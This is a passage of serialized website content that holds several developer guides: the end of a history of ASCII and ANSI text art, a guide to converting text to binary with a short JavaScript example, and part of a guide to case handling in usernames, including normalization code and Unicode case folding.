1970s.",[11,201006,201008],{"id":201007},"the-bbs-golden-age","The BBS Golden Age",[16,201010,201011],{},"Bulletin board systems (BBS) transformed ASCII art from a niche curiosity into a shared creative practice. Running from the early 1980s through the mid-1990s, BBS platforms connected modem users to text-based communities where ASCII art served as both decoration and identity.",[16,201013,201014],{},"BBS operators competed to showcase the most impressive login screens and ANSI menus. Art groups formed — ACiD, iCE, and CIA among the most famous — and released monthly \"packs\" of artwork. These groups operated with the same structure as graffiti crews: writers, editors, and senior members maintaining quality standards.",[16,201016,201017],{},"ANSI art, an extension of ASCII using terminal escape codes for 16 colors, pushed the medium further. Artists could shade with colored blocks and create detailed images that monochrome ASCII could not achieve. ANSI art became the dominant form on PC-based BBS platforms like Renegade, Telegard, and WWIV.",[11,201019,201021],{"id":201020},"iconic-works-and-artists","Iconic Works and Artists",[16,201023,201024],{},"Several pieces and practitioners stand out in the history of text art:",[41,201026,201027,201033,201039,201045],{},[44,201028,201029,201032],{},[47,201030,201031],{},"Flora Stacey's Butterfly (1898)"," — The foundational work of typewriter art, demonstrating that standard keyboard characters could compose recognizable images",[44,201034,201035,201038],{},[47,201036,201037],{},"The \"Darth Vader\" ASCII portrait"," — One of the most widely shared ASCII pieces, circulating on BBS systems and early internet forums throughout the 1990s",[44,201040,201041,201044],{},[47,201042,201043],{},"Joan Stark's portfolio"," — Among the most prolific ASCII artists of the web era, Stark created hundreds of detailed pieces shared on her personal website starting in 1996",[44,201046,201047,201050],{},[47,201048,201049],{},"The Linux penguin (Tux) ASCII renderings"," — Countless variants exist, from minimal four-line thumbnails to detailed 40-line portraits, illustrating how the same subject can be interpreted at different resolutions",[16,201052,201053],{},"These works span different eras and technologies, but they share a common trait: they treat the limitations of the medium as creative constraints rather than obstacles.",[11,201055,201057],{"id":201056},"the-internet-and-standardization","The Internet and Standardization",[16,201059,201060,201061,201064],{},"As the internet replaced BBS networks in the mid-1990s, ASCII art adapted to new platforms. Email signatures became a primary showcase. Usenet newsgroups like ",[143,201062,201063],{},"alt.ascii-art"," served as galleries and workshops. The shift from proprietary BBS software to open internet protocols made sharing easier but also introduced fragmentation — different character encodings and terminal settings produced inconsistent results.",[16,201066,201067],{},"The Unicode standard, first published in 1991, gradually superseded ASCII for text representation. Unicode contains thousands of box-drawing characters, block elements, and symbols that enable much finer visual detail than the 95 printable ASCII characters. This gave rise to Unicode art, which builds on ASCII art traditions but leverages a vastly larger character set.",[16,201069,201070],{},"Despite Unicode's advantages, pure ASCII art remains popular because of its universal compatibility. Any device that can display text can display ASCII art — no fonts, encodings, or special software required.",[11,201072,201074],{"id":201073},"contemporary-renaissance","Contemporary Renaissance",[16,201076,201077],{},"Text art is experiencing a revival driven by several trends:",[41,201079,201080,201089,201095,201101],{},[44,201081,201082,201085,201086,201088],{},[47,201083,201084],{},"Terminal customization"," — Tools like Neofetch, Fastfetch, and custom ",[143,201087,6887],{}," scripts display ASCII logos on every terminal session, making text art a daily visual element for millions of developers",[44,201090,201091,201094],{},[47,201092,201093],{},"Code comment art"," — Developers craft decorative section headers and illustrations inside source files, treating comments as a design surface",[44,201096,201097,201100],{},[47,201098,201099],{},"DevOps and CI banners"," — Deployment scripts and CI pipelines print ASCII art to brand build logs and make output easier to scan",[44,201102,201103,201106],{},[47,201104,201105],{},"Cross-platform compatibility"," — In an era of Slack, Discord, and GitHub Markdown, ASCII art works everywhere without rendering engines or image hosting",[16,201108,201109],{},"The accessibility of text art — nothing more than a keyboard and a monospace font — ensures it will continue evolving alongside computing itself.",[11,201111,1355],{"id":1354},[41,201113,201114,201117,201120,201123,201126],{},[44,201115,201116],{},"Text art originated on typewriters in the 1890s, decades before computers",[44,201118,201119],{},"Teleprinters and line printers adapted the tradition for electronic communication",[44,201121,201122],{},"The BBS era (1980s–1990s) was the golden age of ASCII and ANSI art, with organized art groups and monthly releases",[44,201124,201125],{},"Unicode expanded the character palette but ASCII art survives because of its universal compatibility",[44,201127,201128],{},"Modern developers revive text art through terminal customization, code comments, and CI\u002FCD branding",[11,201130,321],{"id":320},[41,201132,201133,201137],{},[44,201134,201135],{},[98,201136,6823],{"href":7145},[44,201138,201139],{},[98,201140,7104],{"href":7103},[11,201142,286],{"id":285},[16,201144,201145],{},"Create your own text art using our free ASCII Art generator. Type any text, choose a font style, and get instant ASCII output ready for your terminal, README, or code comments.",[16,201147,201148],{},[98,201149,7121],{"href":7120},{"title":141,"searchDepth":337,"depth":337,"links":201151},[201152,201153,201154,201155,201156,201157,201158,201159,201160,201161],{"id":200968,"depth":337,"text":200969},{"id":200981,"depth":337,"text":200982},{"id":200994,"depth":337,"text":200995},{"id":201007,"depth":337,"text":201008},{"id":201020,"depth":337,"text":201021},{"id":201056,"depth":337,"text":201057},{"id":201073,"depth":337,"text":201074},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Trace the evolution of text-based art from 19th century typewriter art to modern ASCII generators and developer culture.",{"keywords":201164},[7143,201165],"text-art-history",{"title":7110,"description":201162},"guides\u002Ftext-art-history","RvK4_b3SQPZ_Oy_AF0ztruVdCJyFrRE_4f4rplc6q5A",{"id":201170,"title":14967,"body":201171,"date":2070,"description":201702,"extension":361,"meta":201703,"navigation":363,"path":14966,"readingTime":889,"seo":201704,"stem":201705,"__hash__":201706},"guides\u002Fguides\u002Ftext-binary-conversion-guide.md",{"type":8,"value":201172,"toc":201674},[201173,201177,201180,201185,201189,201193,201201,201206,201212,201217,201221,201224,201230,201234,201237,201243,201247,201315,201324,201328,201333,201335,201346,201350,201363,201366,201368,201372,201375,201475,201479,201482,201508,201511,201515,201518,201522,201525,201529,201596,201599,201601,201605,201611,201615,201622,201626,201629,201631,201650,201652,201658,201660,201671],[11,201174,201176],{"id":201175},"what-is-text-to-binary-conversion","What Is Text to Binary Conversion?",[16,201178,201179],{},"Text to binary conversion transforms readable characters into sequences of 0s and 1s — the language computers actually understand. Every letter, number, and symbol you type has a numeric code, and that code has a binary representation.",[16,201181,15029,201182,201184],{},[98,201183,14418],{"href":13893}," makes this instant. Paste your text, get binary. Paste binary, get text. No signup, no server round-trip — everything runs in your browser.",[11,201186,201188],{"id":201187},"how-text-becomes-binary","How Text Becomes Binary",[33,201190,201192],{"id":201191},"step-1-character-to-code-point","Step 1: Character to Code Point",[16,201194,201195,201196,1856,201199,468],{},"Each character maps to a numeric code defined by an encoding standard. The two most important standards are ",[47,201197,201198],{},"ASCII",[47,201200,124524],{},[16,201202,201203,201205],{},[47,201204,201198],{}," assigns a number from 0 to 127 to 128 characters — English letters, digits, and common symbols.",[135,201207,201210],{"className":201208,"code":201209,"language":140},[138],"'A' → 65\n'Z' → 90\n'a' → 97\n'0' → 48\n' ' → 32\n",[143,201211,201209],{"__ignoreMap":141},[16,201213,201214,201216],{},[47,201215,124524],{}," extends ASCII to support every character in the Unicode standard — over 149,000 characters across the world's writing systems. UTF-8 is backward-compatible: any valid ASCII text is also valid UTF-8.",[33,201218,201220],{"id":201219},"step-2-code-point-to-binary","Step 2: Code Point to Binary",[16,201222,201223],{},"Once you have the numeric code, you convert it to binary. ASCII characters fit in 7 bits but are typically stored in a full 8-bit byte. UTF-8 uses 1 to 4 bytes depending on the character.",[135,201225,201228],{"className":201226,"code":201227,"language":140},[138],"Character: 'A'\nCode point: 65\nBinary: 01000001\n\nCharacter: 'é'\nCode point: 233\nUTF-8 binary: 11000011 10101001 (2 bytes)\n",[143,201229,201227],{"__ignoreMap":141},[33,201231,201233],{"id":201232},"step-3-full-text-conversion","Step 3: Full Text Conversion",[16,201235,201236],{},"To convert a full string, you process each character individually and join the results.",[135,201238,201241],{"className":201239,"code":201240,"language":140},[138],"\"Hi\" →\n'H' → 72  → 01001000\n'i' → 105 → 01101001\nResult: 01001000 01101001\n",[143,201242,201240],{"__ignoreMap":141},[33,201244,201246],{"id":201245},"ascii-quick-reference","ASCII Quick Reference",[193,201248,201249,201261],{},[196,201250,201251],{},[199,201252,201253,201256,201259],{},[202,201254,201255],{},"Character Range",[202,201257,201258],{},"Decimal Range",[202,201260,14812],{},[211,201262,201263,201274,201285,201296,201305],{},[199,201264,201265,201268,201271],{},[216,201266,201267],{},"A – Z",[216,201269,201270],{},"65 – 90",[216,201272,201273],{},"01000001 – 01011010",[199,201275,201276,201279,201282],{},[216,201277,201278],{},"a – z",[216,201280,201281],{},"97 – 122",[216,201283,201284],{},"01100001 – 01111010",[199,201286,201287,201290,201293],{},[216,201288,201289],{},"0 – 9",[216,201291,201292],{},"48 – 57",[216,201294,201295],{},"00110000 – 00111001",[199,201297,201298,201300,201302],{},[216,201299,6093],{},[216,201301,36042],{},[216,201303,201304],{},"00100000",[199,201306,201307,201310,201312],{},[216,201308,201309],{},"Newline",[216,201311,36197],{},[216,201313,201314],{},"00001010",[16,201316,201317,201318,201320,201321,201323],{},"Notice that flipping bit 5 (adding 32) converts between uppercase and lowercase. ",[143,201319,21981],{}," (65) becomes ",[143,201322,98],{}," (97) with a single bit change.",[11,201325,201327],{"id":201326},"using-the-text-to-binary-converter","Using the Text to Binary Converter",[16,201329,15029,201330,201332],{},[98,201331,14418],{"href":13893}," handles both directions:",[33,201334,13894],{"id":84017},[77,201336,201337,201340,201343],{},[44,201338,201339],{},"Type or paste your text into the input field",[44,201341,201342],{},"The converter outputs each character as an 8-bit binary group separated by spaces",[44,201344,201345],{},"Copy the result with one click",[33,201347,201349],{"id":201348},"binary-to-text","Binary to Text",[77,201351,201352,201355,201360],{},[44,201353,201354],{},"Paste binary digits into the input field",[44,201356,201357,201358,1525],{},"Format: 8-bit groups separated by spaces (e.g., ",[143,201359,84029],{},[44,201361,201362],{},"The converter decodes each byte back to its character",[16,201364,201365],{},"The tool processes everything locally in your browser. Your data never leaves your device.",[11,201367,103922],{"id":103921},[33,201369,201371],{"id":201370},"developer-debugging","Developer Debugging",[16,201373,201374],{},"When you work with low-level protocols, file formats, or network packets, you often need to inspect raw binary data. Converting text to binary helps you verify encoding, spot null bytes, or debug misaligned data.",[135,201376,201378],{"className":1607,"code":201377,"language":1609,"meta":141,"style":141},"\u002F\u002F Quick check: what does this string look like in binary?\nconst text = 'OK';\nconst binary = text.split('')\n  .map(c => c.charCodeAt(0).toString(2).padStart(8, '0'))\n  .join(' ');\n\u002F\u002F \"01001111 01001011\"\n",[143,201379,201380,201385,201398,201416,201458,201470],{"__ignoreMap":141},[1560,201381,201382],{"class":1562,"line":1563},[1560,201383,201384],{"class":1649},"\u002F\u002F Quick check: what does this string look like in binary?\n",[1560,201386,201387,201389,201391,201393,201396],{"class":1562,"line":337},[1560,201388,8180],{"class":1669},[1560,201390,87414],{"class":1576},[1560,201392,8186],{"class":1669},[1560,201394,201395],{"class":5634}," 'OK'",[1560,201397,2228],{"class":1570},[1560,201399,201400,201402,201404,201406,201408,201410,201412,201414],{"class":1562,"line":343},[1560,201401,8180],{"class":1669},[1560,201403,43070],{"class":1576},[1560,201405,8186],{"class":1669},[1560,201407,22718],{"class":1570},[1560,201409,9356],{"class":1566},[1560,201411,1688],{"class":1570},[1560,201413,5635],{"class":5634},[1560,201415,8252],{"class":1570},[1560,201417,201418,201420,201422,201424,201426,201428,201430,201432,201434,201436,201438,201440,201442,201444,201446,201448,201450,201452,201454,201456],{"class":1562,"line":365},[1560,201419,42200],{"class":1570},[1560,201421,9371],{"class":1566},[1560,201423,1688],{"class":1570},[1560,201425,13943],{"class":2219},[1560,201427,9378],{"class":1669},[1560,201429,38876],{"class":1570},[1560,201431,22788],{"class":1566},[1560,201433,1688],{"class":1570},[1560,201435,5285],{"class":1576},[1560,201437,9368],{"class":1570},[1560,201439,10052],{"class":1566},[1560,201441,1688],{"class":1570},[1560,201443,10099],{"class":1576},[1560,201445,9368],{"class":1570},[1560,201447,42222],{"class":1566},[1560,201449,1688],{"class":1570},[1560,201451,10078],{"class":1576},[1560,201453,1459],{"class":1570},[1560,201455,17543],{"class":5634},[1560,201457,9429],{"class":1570},[1560,201459,201460,201462,201464,201466,201468],{"class":1562,"line":889},[1560,201461,42200],{"class":1570},[1560,201463,9459],{"class":1566},[1560,201465,1688],{"class":1570},[1560,201467,38072],{"class":5634},[1560,201469,1744],{"class":1570},[1560,201471,201472],{"class":1562,"line":1710},[1560,201473,201474],{"class":1649},"\u002F\u002F \"01001111 01001011\"\n",[33,201476,201478],{"id":201477},"learning-computer-science-fundamentals","Learning Computer Science Fundamentals",[16,201480,201481],{},"Understanding how text maps to binary is foundational. If you are learning about:",[41,201483,201484,201490,201496,201502],{},[44,201485,201486,201489],{},[47,201487,201488],{},"Character encodings"," — ASCII, UTF-8, UTF-16",[44,201491,201492,201495],{},[47,201493,201494],{},"Data storage"," — how disks and memory represent text",[44,201497,201498,201501],{},[47,201499,201500],{},"Network protocols"," — how bytes travel across the wire",[44,201503,201504,201507],{},[47,201505,201506],{},"Cryptography"," — how plaintext feeds into encryption algorithms",[16,201509,201510],{},"...converting text to binary makes these concepts tangible.",[33,201512,201514],{"id":201513},"encoding-verification","Encoding Verification",[16,201516,201517],{},"If your application produces garbled text ( Mojibake ), the problem is usually an encoding mismatch. Converting the raw bytes to binary lets you see exactly what data you have, so you can pinpoint where the encoding went wrong.",[33,201519,201521],{"id":201520},"steganography-and-puzzles","Steganography and Puzzles",[16,201523,201524],{},"Binary-encoded text appears in CTF challenges, puzzle hunts, and steganography. Being able to quickly convert between text and binary is a practical skill for solving these challenges.",[11,201526,201528],{"id":201527},"text-vs-binary-what-changes","Text vs. Binary: What Changes?",[193,201530,201531,201541],{},[196,201532,201533],{},[199,201534,201535,201537,201539],{},[202,201536,13104],{},[202,201538,30784],{},[202,201540,115685],{},[211,201542,201543,201553,201564,201575,201586],{},[199,201544,201545,201548,201550],{},[216,201546,201547],{},"Readable by humans",[216,201549,3057],{},[216,201551,201552],{},"No (without a converter)",[199,201554,201555,201558,201561],{},[216,201556,201557],{},"Readable by computers",[216,201559,201560],{},"After decoding",[216,201562,201563],{},"Natively",[199,201565,201566,201569,201572],{},[216,201567,201568],{},"Storage size",[216,201570,201571],{},"1 byte per ASCII char",[216,201573,201574],{},"8 bits per ASCII char",[199,201576,201577,201580,201583],{},[216,201578,201579],{},"Encoding dependence",[216,201581,201582],{},"Displayed according to encoding",[216,201584,201585],{},"Raw bit patterns",[199,201587,201588,201590,201593],{},[216,201589,2758],{},[216,201591,201592],{},"Communication",[216,201594,201595],{},"Computation and storage",[16,201597,201598],{},"Text is a human-friendly representation. Binary is the machine-friendly reality underneath. Conversion tools bridge that gap.",[11,201600,296],{"id":295},[33,201602,201604],{"id":201603},"does-the-converter-support-non-english-characters","Does the converter support non-English characters?",[16,201606,201607,201608,201610],{},"Yes. The ",[98,201609,14418],{"href":13893}," uses UTF-8 encoding, which handles all Unicode characters — including accented letters, CJK characters, and emoji. Non-ASCII characters will produce multi-byte binary sequences.",[33,201612,201614],{"id":201613},"what-format-should-i-use-for-binary-input","What format should I use for binary input?",[16,201616,201617,201618,201621],{},"Enter 8-bit binary groups separated by spaces. For example: ",[143,201619,201620],{},"01001000 01100101 01101100 01101100 01101111"," for \"Hello\". The converter expects exactly 8 bits per group.",[33,201623,201625],{"id":201624},"is-there-a-size-limit-for-conversion","Is there a size limit for conversion?",[16,201627,201628],{},"There is no hard limit, but inputs above 10,000 characters may slow down your browser. For best performance, keep inputs under that threshold.",[11,201630,1355],{"id":1354},[41,201632,201633,201636,201639,201642,201645],{},[44,201634,201635],{},"Every text character has a numeric code point (ASCII or Unicode) that maps directly to binary",[44,201637,201638],{},"ASCII uses 1 byte per character; UTF-8 uses 1–4 bytes depending on the character",[44,201640,201641],{},"Flipping bit 5 (adding 32) converts between uppercase and lowercase in ASCII",[44,201643,201644],{},"Text-to-binary conversion is essential for debugging, learning, and encoding verification",[44,201646,421,201647,201649],{},[98,201648,14418],{"href":13893}," works both directions, entirely in your browser",[11,201651,286],{"id":285},[16,201653,201654,201655,201657],{},"Ready to see your words in binary? Use our free ",[98,201656,14418],{"href":13893}," — paste any text or binary string and get instant results. No signup needed.",[11,201659,321],{"id":320},[41,201661,201662,201666],{},[44,201663,201664],{},[98,201665,115978],{"href":10559},[44,201667,201668],{},[98,201669,201670],{"href":14972},"Data Encoding Tools",[2043,201672,201673],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":201675},[201676,201677,201683,201687,201693,201694,201699,201700,201701],{"id":201175,"depth":337,"text":201176},{"id":201187,"depth":337,"text":201188,"children":201678},[201679,201680,201681,201682],{"id":201191,"depth":343,"text":201192},{"id":201219,"depth":343,"text":201220},{"id":201232,"depth":343,"text":201233},{"id":201245,"depth":343,"text":201246},{"id":201326,"depth":337,"text":201327,"children":201684},[201685,201686],{"id":84017,"depth":343,"text":13894},{"id":201348,"depth":343,"text":201349},{"id":103921,"depth":337,"text":103922,"children":201688},[201689,201690,201691,201692],{"id":201370,"depth":343,"text":201371},{"id":201477,"depth":343,"text":201478},{"id":201513,"depth":343,"text":201514},{"id":201520,"depth":343,"text":201521},{"id":201527,"depth":337,"text":201528},{"id":295,"depth":337,"text":296,"children":201695},[201696,201697,201698],{"id":201603,"depth":343,"text":201604},{"id":201613,"depth":343,"text":201614},{"id":201624,"depth":343,"text":201625},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how text to binary conversion works. Encode text to binary code and decode binary back to readable text.",{"immutable":363},{"title":14967,"description":201702},"guides\u002Ftext-binary-conversion-guide","QykNSQzpSiFypwFZM1A4DG7UG8U_C9v5i0fB7WBoM-A",{"id":201708,"title":201709,"body":201710,"date":2070,"description":202285,"extension":361,"meta":202286,"navigation":363,"path":202287,"readingTime":1710,"seo":202288,"stem":202289,"__hash__":202290},"guides\u002Fguides\u002Ftext-case-in-usernames.md","Text Case in Usernames and Display Names",{"type":8,"value":201711,"toc":202266},[201712,201716,201719,201722,201726,201784,201788,201794,201805,201833,201836,201840,201844,201847,201852,201919,201923,201934,201938,201941,201945,201955,201959,201962,202030,202039,202043,202046,202118,202131,202135,202194,202197,202201,202204,202233,202236,202238,202252,202254,202257,202263],[11,201713,201715],{"id":201714},"why-username-case-matters","Why Username Case Matters",[16,201717,201718],{},"Usernames and display names seem simple — until you consider how case affects security, search, and user experience. Should usernames be case-sensitive? Can two users register \"JohnDoe\" and \"johndoe\"? What happens when someone searches for \"JANESMITH\" but the account is \"JaneSmith\"?",[16,201720,201721],{},"These questions have real-world consequences. Case handling errors lead to duplicate accounts, broken authentication, failed mentions, and frustrated users. Getting it right requires deliberate design decisions, not assumptions.",[11,201723,201725],{"id":201724},"case-sensitive-vs-case-insensitive-systems","Case-Sensitive vs Case-Insensitive Systems",[193,201727,201728,201740],{},[196,201729,201730],{},[199,201731,201732,201734,201736,201738],{},[202,201733,81881],{},[202,201735,96299],{},[202,201737,7444],{},[202,201739,7447],{},[211,201741,201742,201756,201770],{},[199,201743,201744,201747,201750,201753],{},[216,201745,201746],{},"Case-insensitive login",[216,201748,201749],{},"GitHub, Twitter, Gmail",[216,201751,201752],{},"User-friendly, prevents duplicate accounts",[216,201754,201755],{},"Must store canonical form",[199,201757,201758,201761,201764,201767],{},[216,201759,201760],{},"Case-sensitive login",[216,201762,201763],{},"Linux, some APIs",[216,201765,201766],{},"Exact matching, fewer transformations",[216,201768,201769],{},"Users forget exact casing",[199,201771,201772,201775,201778,201781],{},[216,201773,201774],{},"Case-insensitive login, preserved display",[216,201776,201777],{},"Most modern apps",[216,201779,201780],{},"Best UX — login forgiving, display accurate",[216,201782,201783],{},"More complex storage",[33,201785,201787],{"id":201786},"the-industry-standard","The Industry Standard",[16,201789,201790,201791,8037],{},"Most modern web applications use ",[47,201792,201793],{},"case-insensitive authentication with preserved display names",[41,201795,201796,201799,201802],{},[44,201797,201798],{},"Login: compare lowercased values",[44,201800,201801],{},"Display: show the user's preferred casing",[44,201803,201804],{},"Storage: store both canonical (lowercased) and display versions",[135,201806,201808],{"className":23599,"code":201807,"language":23601,"meta":141,"style":141},"CREATE TABLE users (\n  username_canonical VARCHAR(50) UNIQUE,  -- 'johndoe'\n  username_display   VARCHAR(50),          -- 'JohnDoe'\n  ...\n);\n",[143,201809,201810,201814,201819,201824,201829],{"__ignoreMap":141},[1560,201811,201812],{"class":1562,"line":1563},[1560,201813,23608],{},[1560,201815,201816],{"class":1562,"line":337},[1560,201817,201818],{},"  username_canonical VARCHAR(50) UNIQUE,  -- 'johndoe'\n",[1560,201820,201821],{"class":1562,"line":343},[1560,201822,201823],{},"  username_display   VARCHAR(50),          -- 'JohnDoe'\n",[1560,201825,201826],{"class":1562,"line":365},[1560,201827,201828],{},"  ...\n",[1560,201830,201831],{"class":1562,"line":889},[1560,201832,1744],{},[16,201834,201835],{},"This prevents duplicate registrations while respecting the user's identity preference.",[11,201837,201839],{"id":201838},"common-case-related-bugs","Common Case-Related Bugs",[33,201841,201843],{"id":201842},"_1-duplicate-account-creation","1. Duplicate Account Creation",[16,201845,201846],{},"If registration checks are case-sensitive, \"JohnDoe\" and \"johndoe\" become separate accounts. Users who forget their exact casing may register again instead of logging in.",[16,201848,201849,201851],{},[47,201850,1852],{}," Always compare usernames in a normalized form (lowercase) during registration.",[135,201853,201855],{"className":1607,"code":201854,"language":1609,"meta":141,"style":141},"\u002F\u002F Bad\nconst existing = await db.users.findOne({ username: input })\n\n\u002F\u002F Good\nconst existing = await db.users.findOne({\n  username_canonical: input.toLowerCase()\n})\n",[143,201856,201857,201862,201881,201885,201890,201906,201915],{"__ignoreMap":141},[1560,201858,201859],{"class":1562,"line":1563},[1560,201860,201861],{"class":1649},"\u002F\u002F Bad\n",[1560,201863,201864,201866,201869,201871,201873,201875,201878],{"class":1562,"line":337},[1560,201865,8180],{"class":1669},[1560,201867,201868],{"class":1576}," existing",[1560,201870,8186],{"class":1669},[1560,201872,28065],{"class":1669},[1560,201874,28068],{"class":1570},[1560,201876,201877],{"class":1566},"findOne",[1560,201879,201880],{"class":1570},"({ username: input })\n",[1560,201882,201883],{"class":1562,"line":343},[1560,201884,1702],{"emptyLinePlaceholder":363},[1560,201886,201887],{"class":1562,"line":365},[1560,201888,201889],{"class":1649},"\u002F\u002F Good\n",[1560,201891,201892,201894,201896,201898,201900,201902,201904],{"class":1562,"line":889},[1560,201893,8180],{"class":1669},[1560,201895,201868],{"class":1576},[1560,201897,8186],{"class":1669},[1560,201899,28065],{"class":1669},[1560,201901,28068],{"class":1570},[1560,201903,201877],{"class":1566},[1560,201905,17525],{"class":1570},[1560,201907,201908,201911,201913],{"class":1562,"line":1710},[1560,201909,201910],{"class":1570},"  username_canonical: input.",[1560,201912,38784],{"class":1566},[1560,201914,27830],{"class":1570},[1560,201916,201917],{"class":1562,"line":1717},[1560,201918,1626],{"class":1570},[33,201920,201922],{"id":201921},"_2-mention-failures","2. @mention Failures",[16,201924,201925,201926,201929,201930,201933],{},"When ",[143,201927,201928],{},"@JohnDoe"," doesn't match ",[143,201931,201932],{},"johndoe"," in the database, mentions silently fail. Social platforms must normalize mentions before lookup.",[33,201935,201937],{"id":201936},"_3-case-changed-login-confusion","3. Case-Changed Login Confusion",[16,201939,201940],{},"If a user changes their display name from \"JohnDoe\" to \"johnDoe\" but the system treats the old casing as a different account, they lose access to history, connections, or content.",[33,201942,201944],{"id":201943},"_4-url-casing-inconsistencies","4. URL Casing Inconsistencies",[16,201946,201947,201948,23755,201951,201954],{},"Profile URLs like ",[143,201949,201950],{},"\u002FJohnDoe",[143,201952,201953],{},"\u002Fjohndoe"," may route to different places or return 404s if the slug lookup is case-sensitive. Most platforms normalize URL slugs to lowercase.",[11,201956,201958],{"id":201957},"display-name-vs-username","Display Name vs Username",[16,201960,201961],{},"Usernames and display names serve different purposes and should be handled differently:",[193,201963,201964,201975],{},[196,201965,201966],{},[199,201967,201968,201970,201972],{},[202,201969,14482],{},[202,201971,189885],{},[202,201973,201974],{},"Display Name",[211,201976,201977,201987,201998,202009,202020],{},[199,201978,201979,201981,201984],{},[216,201980,82435],{},[216,201982,201983],{},"Must be unique",[216,201985,201986],{},"Can be shared",[199,201988,201989,201992,201995],{},[216,201990,201991],{},"Case sensitivity",[216,201993,201994],{},"Login: insensitive, lookup: stored canonical",[216,201996,201997],{},"Preserved as entered",[199,201999,202000,202003,202006],{},[216,202001,202002],{},"Characters",[216,202004,202005],{},"Restricted (alphanumeric, underscore)",[216,202007,202008],{},"Flexible (spaces, unicode)",[199,202010,202011,202014,202017],{},[216,202012,202013],{},"Change frequency",[216,202015,202016],{},"Rarely changed",[216,202018,202019],{},"Changed freely",[199,202021,202022,202025,202028],{},[216,202023,202024],{},"Used in URLs",[216,202026,202027],{},"Yes (lowercased)",[216,202029,6117],{},[16,202031,202032,202035,202036,202038],{},[47,202033,202034],{},"GitHub model:"," Username (",[143,202037,201932],{},") is case-insensitive for login, lowercased in URLs, and displayed with preferred casing. Display name (\"John Doe\") is separate and non-unique.",[11,202040,202042],{"id":202041},"unicode-and-case-folding","Unicode and Case Folding",[16,202044,202045],{},"Lowercase transformation isn't just ASCII. Unicode case folding handles characters beyond a-z:",[135,202047,202049],{"className":1607,"code":202048,"language":1609,"meta":141,"style":141},"\u002F\u002F ASCII only — misses Turkish İ, German ß\n'JOHN'.toLowerCase()  \u002F\u002F 'john'\n\n\u002F\u002F Proper Unicode case folding\n'İSTANBUL'.toLocaleLowerCase('tr')  \u002F\u002F 'istanbul' (Turkish locale)\n'STRAßE'.toLocaleLowerCase('de')    \u002F\u002F 'straße'\n",[143,202050,202051,202056,202070,202074,202079,202099],{"__ignoreMap":141},[1560,202052,202053],{"class":1562,"line":1563},[1560,202054,202055],{"class":1649},"\u002F\u002F ASCII only — misses Turkish İ, German ß\n",[1560,202057,202058,202061,202063,202065,202067],{"class":1562,"line":337},[1560,202059,202060],{"class":5634},"'JOHN'",[1560,202062,468],{"class":1570},[1560,202064,38784],{"class":1566},[1560,202066,42820],{"class":1570},[1560,202068,202069],{"class":1649},"\u002F\u002F 'john'\n",[1560,202071,202072],{"class":1562,"line":343},[1560,202073,1702],{"emptyLinePlaceholder":363},[1560,202075,202076],{"class":1562,"line":365},[1560,202077,202078],{"class":1649},"\u002F\u002F Proper Unicode case folding\n",[1560,202080,202081,202084,202086,202089,202091,202094,202096],{"class":1562,"line":889},[1560,202082,202083],{"class":5634},"'İSTANBUL'",[1560,202085,468],{"class":1570},[1560,202087,202088],{"class":1566},"toLocaleLowerCase",[1560,202090,1688],{"class":1570},[1560,202092,202093],{"class":5634},"'tr'",[1560,202095,10060],{"class":1570},[1560,202097,202098],{"class":1649},"\u002F\u002F 'istanbul' (Turkish locale)\n",[1560,202100,202101,202104,202106,202108,202110,202113,202115],{"class":1562,"line":1710},[1560,202102,202103],{"class":5634},"'STRAßE'",[1560,202105,468],{"class":1570},[1560,202107,202088],{"class":1566},[1560,202109,1688],{"class":1570},[1560,202111,202112],{"class":5634},"'de'",[1560,202114,10130],{"class":1570},[1560,202116,202117],{"class":1649},"\u002F\u002F 'straße'\n",[16,202119,202120,202121,10176,202124,202127,202128,202130],{},"If your app serves international users, use locale-aware case conversion for both registration and login. The Turkish İ problem — where ",[143,202122,202123],{},"I.toLowerCase()",[143,202125,202126],{},"ı"," in Turkish locale but ",[143,202129,7975],{}," in English — is a classic source of authentication bugs.",[33,202132,202134],{"id":202133},"best-practice-for-international-usernames","Best Practice for International Usernames",[135,202136,202138],{"className":1607,"code":202137,"language":1609,"meta":141,"style":141},"function normalizeUsername(username) {\n  return username\n    .toLocaleLowerCase('en-US')  \u002F\u002F Consistent locale for canonical form\n    .normalize('NFC')            \u002F\u002F Normalize Unicode combining characters\n}\n",[143,202139,202140,202153,202160,202175,202190],{"__ignoreMap":141},[1560,202141,202142,202144,202147,202149,202151],{"class":1562,"line":1563},[1560,202143,8648],{"class":1669},[1560,202145,202146],{"class":1566}," normalizeUsername",[1560,202148,1688],{"class":1570},[1560,202150,34990],{"class":2219},[1560,202152,9345],{"class":1570},[1560,202154,202155,202157],{"class":1562,"line":337},[1560,202156,9350],{"class":1669},[1560,202158,202159],{"class":1570}," 